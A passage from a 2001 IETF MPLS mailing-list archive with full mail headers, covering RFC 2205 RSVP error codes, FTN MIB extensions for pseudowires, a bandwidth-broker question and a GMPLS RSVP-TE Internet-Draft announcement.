> >
> > Given that S1,  S2, and H are in the  same VPN, this
> > is a  case in which you
> > couldn't just replace the RD with a VPN-id.  There
> > might also be other cases
> > in which  you want to pass around  two different
> > routes to  the same address
> > prefix, using  policy to decide which  to install
> > where  (presumably in some
> > manner that ensures loop-freedom).
> >
> >
> >
> > __________________________________________________
> > Do You Yahoo!?
> > Listen to your Yahoo! Mail messages from any phone.
> > http://phone.yahoo.com
>
>
> __________________________________________________
> Do You Yahoo!?
> Listen to your Yahoo! Mail messages from any phone.
> http://phone.yahoo.com
>

-- 
Ajay Simha
MPLS Deployment Engineer
IOS Technology Division
(919) 392-3141

"Study as if you were to live forever
 Live as if you were to die tomorrow"

 - Mahatma Gandhi



From owner-mpls@UU.NET  Mon Oct  1 18:13:04 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA02831
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 18:13:04 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlixk02381;
	Mon, 1 Oct 2001 22:12:01 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlixk08046
	for mpls-outgoing; Mon, 1 Oct 2001 22:11:31 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlixk08039
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 22:11:29 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlixk17451
	for <mpls@UU.NET>; Mon, 1 Oct 2001 22:11:17 GMT
Received: from dnsmx1rrc.telcordia.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1rrc.telcordia.com [128.96.20.41])
	id QQlixk01584
	for <mpls@UU.NET>; Mon, 1 Oct 2001 22:11:28 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx1rrc.telcordia.com (8.9.3/8.9.3) with ESMTP id SAA15498
	for <mpls@UU.NET>; Mon, 1 Oct 2001 18:07:07 -0400 (EDT)
Subject: Re: RSVPTE questions
To: mpls@UU.NET
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OFDB2A44C7.B8AC21AF-ON85256AD8.00794F4B@cc.telcordia.com>
From: "Hong Liao" <hliao@TELCORDIA.COM>
Date: Mon, 1 Oct 2001 18:07:07 -0400
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 10/01/2001 06:07:07 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


Yes,  but the way to generate this error whatever they will have error msg
generated or detected and log locally is the same, right?

Julia



                                                                                                                  
                    David Charlap                                                                                 
                    <David.Charlap@ma        To:     mpls@UU.NET                                                  
                    rconi.com>               cc:     (bcc: Hong Liao/Telcordia)                                   
                                             Subject:     Re: RSVPTE questions                                    
                    10/01/01 04:35 PM                                                                             
                                                                                                                  
                                                                                                                  





Hong Liao wrote:
>
> There is error conditon under error code 23:   Unknown object
> Class-Num(spec 2205 page 96)
> and there is error code for Unknown object Class #13, what is the
> difference between these two?

Please re-read the page more carefully.

The bullet on page 97:

     o  Unknown object Class-Num.

is _NOT_ on a list of conditions that generate an RSVP System error.  It
is a list of conditions that an RSVP implementation may choose to detect
and log locally.  This has nothing to do with whether or not an error is
generated.

-- David





From owner-mpls@UU.NET  Mon Oct  1 18:35:20 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA03526
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 18:35:20 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlixm27555;
	Mon, 1 Oct 2001 22:33:11 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlixm09764
	for mpls-outgoing; Mon, 1 Oct 2001 22:32:42 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlixm09759
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 22:32:36 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlixm04533
	for <mpls@uu.net>; Mon, 1 Oct 2001 22:32:14 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlixm26767
	for <mpls@uu.net>; Mon, 1 Oct 2001 22:32:25 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA09803
	for <mpls@uu.net>; Mon, 1 Oct 2001 18:32:12 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA05987
	for <mpls@uu.net>; Mon, 1 Oct 2001 18:32:12 -0400 (EDT)
Message-ID: <3BB8EEE7.FFEBEAA2@marconi.com>
Date: Mon, 01 Oct 2001 18:32:07 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: RSVPTE questions
References: <OFDB2A44C7.B8AC21AF-ON85256AD8.00794F4B@cc.telcordia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hong Liao wrote:
> 
> Yes,  but the way to generate this error whatever they will have
> error msg generated or detected and log locally is the same, right?

An unknown class in a Path or Resv message should generate a PathErr or
ResvErr message.  If it appears in another kind of message (like a
PathTear or ResvConf), then no error should be generated, because there
is no appropriate type of error message to send in the first place.

In all cases, however, whether or not an error was generated, the switch
has the option of logging the error condition.

It's not an either-or situation.  pages 96-97 list a lot of conditions
that routers will typically log.  This is _NOT_ an exhaustive list, nor
is it a mandatory list.  Your can choose to log more events than these,
or you can choose to log fewer, or none at all.  You can log events that
result in the generation of error messages as well as those that don't.

-- David


From owner-mpls@UU.NET  Mon Oct  1 19:04:42 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA03924
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 19:04:42 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlixo11154;
	Mon, 1 Oct 2001 23:03:04 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlixo21790
	for mpls-outgoing; Mon, 1 Oct 2001 23:02:32 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlixo21729
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 23:02:22 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlixo09061
	for <mpls@UU.NET>; Mon, 1 Oct 2001 23:01:19 GMT
Received: from dnsmx1rrc.telcordia.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1rrc.telcordia.com [128.96.20.41])
	id QQlixo28420
	for <mpls@UU.NET>; Mon, 1 Oct 2001 23:01:25 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx1rrc.telcordia.com (8.9.3/8.9.3) with ESMTP id SAA21703
	for <mpls@UU.NET>; Mon, 1 Oct 2001 18:59:24 -0400 (EDT)
Subject: Re: RSVPTE questions
To: mpls@UU.NET
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OFB3B2EC2C.3011FCF7-ON85256AD8.007DB5CE@cc.telcordia.com>
From: "Hong Liao" <hliao@telcordia.com>
Date: Mon, 1 Oct 2001 18:59:24 -0400
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 10/01/2001 06:59:25 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


I think you are perfect right.

But for my understanding, you can choose to log the error  for any error
condition.  But for AppendixB, except the error 23 the list(it was log
locally, and not report to end system), the error msg should be generated
for others and it is mandatory.

For example, if there is unknown style send out in the resv msg, the
resverror msg with error code 06 should be generated by router, it should
be mandatory. right?

Thanks for your email.

Julia



                                                                                                                  
                    David Charlap                                                                                 
                    <David.Charlap@ma        To:     mpls@UU.NET                                                  
                    rconi.com>               cc:     (bcc: Hong Liao/Telcordia)                                   
                                             Subject:     Re: RSVPTE questions                                    
                    10/01/01 06:32 PM                                                                             
                                                                                                                  
                                                                                                                  





Hong Liao wrote:
>
> Yes,  but the way to generate this error whatever they will have
> error msg generated or detected and log locally is the same, right?

An unknown class in a Path or Resv message should generate a PathErr or
ResvErr message.  If it appears in another kind of message (like a
PathTear or ResvConf), then no error should be generated, because there
is no appropriate type of error message to send in the first place.

In all cases, however, whether or not an error was generated, the switch
has the option of logging the error condition.

It's not an either-or situation.  pages 96-97 list a lot of conditions
that routers will typically log.  This is _NOT_ an exhaustive list, nor
is it a mandatory list.  Your can choose to log more events than these,
or you can choose to log fewer, or none at all.  You can log events that
result in the generation of error messages as well as those that don't.

-- David





From owner-mpls@UU.NET  Mon Oct  1 19:08:04 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA04097
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 19:08:04 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlixo17023;
	Mon, 1 Oct 2001 23:07:02 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlixo00152
	for mpls-outgoing; Mon, 1 Oct 2001 23:06:32 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlixo00130
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 23:06:26 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlixo23807
	for <mpls@uu.net>; Mon, 1 Oct 2001 23:06:05 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlixo15842
	for <mpls@uu.net>; Mon, 1 Oct 2001 23:06:17 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id TAA12467 for <mpls@uu.net>; Mon, 1 Oct 2001 19:06:04 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id TAA09382 for mpls@uu.net; Mon, 1 Oct 2001 19:06:04 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlixo26851
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 23:05:36 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlixo27715
	for <mpls@UU.NET>; Mon, 1 Oct 2001 23:05:15 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlixo14763
	for <mpls@UU.NET>; Mon, 1 Oct 2001 23:05:27 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id TAA12374; Mon, 1 Oct 2001 19:04:43 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame1.cisco.com [10.83.99.122])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAL12537;
	Mon, 1 Oct 2001 19:04:41 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011001190221.01ba5858@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 01 Oct 2001 19:05:48 -0400
To: Shahram Davari <Shahram_Davari@pmc-sierra.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: FW: [Diffserv] Extending of FTN MIB
Cc: "'mpls@uu.net'" <mpls@UU.NET>, pwe3@ietf.org
In-Reply-To: <4B6D09F3B826D411A67300D0B706EFDE5CCA68@nt-exch-yow.pmc-sie
 rra.bc.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk


>It seems that FTN MIB is based on IP packets entering LSPs/tunnels. Now 
>that PWE3 is working on L2 over MPLS, don't we need to extend the FTN MIB 
>to cover L2 packets/cells?

         I do not think so. The packets entering
the MPLS network are attached via "glue" MIBs
and a common PWE MIB that has general
counters like the ones you would find in  a
revised FTN MIB. The glue MIBS show how the
native service MIB (i.e.: enet, frame, etc...) is attached
to the MPLS LSR or MPLS TE MIBs. The counts
for packets/cells entering via the service-side are
counted there. The LSP counters are kept in
the MPLS MIBs as usual. Take a look at the new version
of the PWE framework document. I have detailed how this
works there. Alternatively, you can read over the PWE MIBs
that are out.

         --Tom





------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 



From owner-mpls@UU.NET  Mon Oct  1 19:27:22 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA04584
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 19:27:16 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlixp13836;
	Mon, 1 Oct 2001 23:26:02 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlixp02381
	for mpls-outgoing; Mon, 1 Oct 2001 23:25:34 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlixp02376
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 23:25:32 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlixp25076
	for <mpls@UU.NET>; Mon, 1 Oct 2001 23:25:22 GMT
Received: from calliope1.fm.intel.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fmfdns01.fm.intel.com [132.233.247.10])
	id QQlixp06791
	for <mpls@UU.NET>; Mon, 1 Oct 2001 23:25:15 GMT
Received: from fmsmsxvs042.fm.intel.com (fmsmsxv042-1.fm.intel.com [132.233.48.110])
	by calliope1.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.44 2001/10/01 19:10:43 root Exp $) with SMTP id XAA01211
	for <mpls@UU.NET>; Mon, 1 Oct 2001 23:25:21 GMT
Received: from FMSMSX017.fm.intel.com ([132.233.42.196])
 by fmsmsxvs042.fm.intel.com (NAVGW 2.5.1.6) with SMTP id M2001100116244829181
 ; Mon, 01 Oct 2001 16:24:48 -0700
Received: by fmsmsx017.fm.intel.com with Internet Mail Service (5.5.2653.19)
	id <T5LD9BVM>; Mon, 1 Oct 2001 16:23:05 -0700
Message-ID: <F1CE15E08172D4119247009027AE9D500C7CA0EE@FMSMSX37>
From: "Feng, Mark" <m_feng@trillium.com>
To: "'Hong Liao'" <hliao@telcordia.com>, "Feng, Mark" <m_feng@trillium.com>
Cc: mpls@UU.NET
Subject: RE: RSVPTE questions
Date: Mon, 1 Oct 2001 16:26:22 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

I am looking at RFC2205 dated September 1997, with the following:
"Error Code = 23: RSVP System error

        The Error Value field will provide implementation-dependent
        information on the error.  RSVP is not expected to be able to
        interpret this value."

Are we talking about different versions of RFC2205?

- Mark

> -----Original Message-----
> From: Hong Liao [mailto:hliao@telcordia.com]
> Sent: Monday, October 01, 2001 1:11 PM
> To: Feng, Mark
> Cc: mpls@UU.NET
> Subject: RE: RSVPTE questions
> 
> 
> 
> 1.  [Mark] I don't quite understand what you mean by "error 
> code 23 will
> not be
> reported to the end system". Why not?
> 
> It is written down on the spec 2205 on Appendix B.
> 
> 2.3.    [Mark] The error message should be generated.
>   I agree with you, expect error condition for error code 23.
> 
> 3.  Each object is identified by object class number and 
> C-Type. Depends on
> the
> class number, the unknown-class objects can be rejected, dropped,
> forwarded.
> When it is rejected, error code "unknown object class" should 
> be used. I
> have no idea where you find "Unknown object Class-Num. (error 
> code 23)".
> Error code 23 is "RSVP System error".
> 
> There is error conditon under error code 23:   Unknown object
> Class-Num(spec 2205 page 96)
> and there is error code for Unknown object Class #13, what is the
> difference between these two?
> 
> Julia
> 
> 
> 
> 
>                                                               
>                                                 
>                     "Feng, Mark"                              
>                                                 
>                     <m_feng@trill        To:     "'Hong 
> Liao'" <hliao@telcordia.com>                          
>                     ium.com>             cc:     (bcc: Hong 
> Liao/Telcordia)                                   
>                                          Subject:     RE: 
> RSVPTE questions                                    
>                     09/05/01                                  
>                                                 
>                     04:34 PM                                  
>                                                 
>                                                               
>                                                 
>                                                               
>                                                 
> 
> 
> 
> 
> 
> Please see comments below.
> 
> - Mark
> 
> > -----Original Message-----
> > From: Hong Liao [mailto:hliao@telcordia.com]
> > Sent: Wednesday, September 05, 2001 11:35 AM
> > To: mpls@UU.NET
> > Subject: RSVPTE questions
> >
> >
> > Hi,
> >
> > The rfc 2205 -- APPENDIX B. Error Codes and Values, I found
> > some of them
> > will not generate error msg back.  As I know, the error code
> > 23 will not be
> > reported to the end system.  But others suppose to send back
> > resverr or
> > patherr back with error code and value or not?
> >
> 
> [Mark] I don't quite understand what you mean by "error code 
> 23 will not be
> reported to the end system". Why not?
> 
> > I found the following two, if error is generated in the 
> resv msg, the
> > ingress will not send the resverr back, and just not
> > forwarding the resv
> > msg.  So I was wondering all the error code in this appendix
> > B, error msg
> > suppose to be sent our or not.
> >
> > 1.  Error Code = 05: Conflicting reservation style
> >
> >         Reservation style conflicts with style(s) of existing
> >         reservation state.  The Error Value field contains
> > the low-order
> >         16 bits of the Option Vector of the existing style 
> with which
> >         the conflict occurred.  This Resv message cannot be 
> forwarded.
> >
> > 2.   Error Code = 06: Unknown reservation style
> >
> >         Reservation style is unknown.  This Resv message cannot be
> >         forwarded.
> >
> > 3.  Also what is considered the bad Tspec, or flowspec.
> >        Error Code = 21: Traffic Control Error
> >
> >         Traffic Control call failed due to the format or
> > contents of the
> >         parameters to the request.  The Resv or Path message
> > that caused
> >         the call cannot be forwarded, and repeating the 
> call would be
> >         futile.
> > Here it says the resv or path msg can not be forwarded, so
> > how about the
> > error msg, they will be generated or not?
> >
> 
> [Mark] The error message should be generated.
> 
> > 4.  what is the difference between these two.
> >
> >  o    Unknown object Class-Num. (error code 23)
> >
> > Error Code = 13: Unknown object class
> >
> >         Error Value contains 16-bit value composed of (Class-Num, C-
> >         Type) of unknown object.  This error should be sent
> > only if RSVP
> >         is going to reject the message, as determined by the
> > high-order
> >         bits of the Class-Num.  This Error Code may appear in
> > a PathErr
> >         or ResvErr message.
> 
> Each object is identified by object class number and C-Type. 
> Depends on the
> class number, the unknown-class objects can be rejected, dropped,
> forwarded.
> When it is rejected, error code "unknown object class" should 
> be used. I
> have no idea where you find "Unknown object Class-Num. (error 
> code 23)".
> Error code 23 is "RSVP System error".
> 
> >
> > Thanks,
> >
> > Julia
> >
> >
> 
> 
> 


From owner-mpls@UU.NET  Tue Oct  2 07:00:40 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03087
	for <mpls-archive@lists.ietf.org>; Tue, 2 Oct 2001 07:00:39 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlizj26875;
	Tue, 2 Oct 2001 10:58:37 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlizj15130
	for mpls-outgoing; Tue, 2 Oct 2001 10:58:20 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlizj15121
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 2 Oct 2001 10:58:15 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlizj28040
	for <mpls@uu.net>; Tue, 2 Oct 2001 10:57:59 GMT
Received: from condor.uom.ac.mu by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.60.7.11])
	id QQlizj18111
	for <mpls@uu.net>; Tue, 2 Oct 2001 10:57:54 GMT
Received: from uom.ac.mu ([172.22.24.61]) by condor.uom.ac.mu
          (Post.Office MTA v3.5.3 release 223 ID# 0-60726U1000L100S0V35)
          with SMTP id mu for <mpls@uu.net>; Tue, 2 Oct 2001 15:15:10 +0400
Message-ID: <3BB9A5A3.D8EA690E@uom.ac.mu>
Date: Tue, 02 Oct 2001 15:31:47 +0400
From: sgoorah@uom.ac.mu (Goorah Shravan)
Organization: University of Mauritius
X-Mailer: Mozilla 4.72 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: "Bandwidth Broker"??? for MPLS
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello there,

        Is there something like the Diffserv's Bandwidth Broker for
MPLS?
        IF yes,
            is the terminology the same?
            how is it different from the Diffserv's bandwidth broker?

Shravan
--
Shravan Goorah
Lecturer, Department of Computer Science,
Faculty of Engineering, University of Mauritius
Tel. 454 1041   Fax.  465 71 44




From owner-mpls@UU.NET  Tue Oct  2 07:07:53 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03686
	for <mpls-archive@lists.ietf.org>; Tue, 2 Oct 2001 07:07:53 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlizk06240;
	Tue, 2 Oct 2001 11:06:42 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlizk03636
	for mpls-outgoing; Tue, 2 Oct 2001 11:06:29 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlizk03616
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 2 Oct 2001 11:06:23 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlizk22091
	for <mpls@uu.net>; Tue, 2 Oct 2001 11:06:03 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlizk05234
	for <mpls@uu.net>; Tue, 2 Oct 2001 11:05:56 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id HAA21122 for <mpls@uu.net>; Tue, 2 Oct 2001 07:06:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id HAA11249 for mpls@uu.net; Tue, 2 Oct 2001 07:06:01 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlizk26128
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 2 Oct 2001 11:04:52 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlizk22991
	for <mpls@uu.net>; Tue, 2 Oct 2001 11:04:20 GMT
Received: from ietf.org by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQlizk27931
	for <mpls@uu.net>; Tue, 2 Oct 2001 11:04:31 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03498;
	Tue, 2 Oct 2001 07:04:16 -0400 (EDT)
Message-Id: <200110021104.HAA03498@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-generalized-rsvp-te-05.txt
Date: Tue, 02 Oct 2001 07:04:16 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: Generalized MPLS Signaling - RSVP-TE Extensions
	Author(s)	: E. Mannie et al.
	Filename	: draft-ietf-mpls-generalized-rsvp-te-05.txt
	Pages		: 40
	Date		: 01-Oct-01
	
This document describes extensions to RSVP-TE signaling required to
support Generalized MPLS.  Generalized MPLS extends MPLS to encompass
time-division (e.g. SONET ADMs), wavelength (optical lambdas) and
spatial switching (e.g. incoming port or fiber to outgoing port or
fiber).  This document presents an RSVP-TE specific description of
the extensions.  A CR-LDP specific description can be found in
[GMPLS-LDP].  A generic functional description is presented in
[GMPLS-SIG].

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-rsvp-te-05.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-generalized-rsvp-te-05.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-generalized-rsvp-te-05.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011001112948.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-generalized-rsvp-te-05.txt

--OtherAccess
Content-Type: Message/External-body;
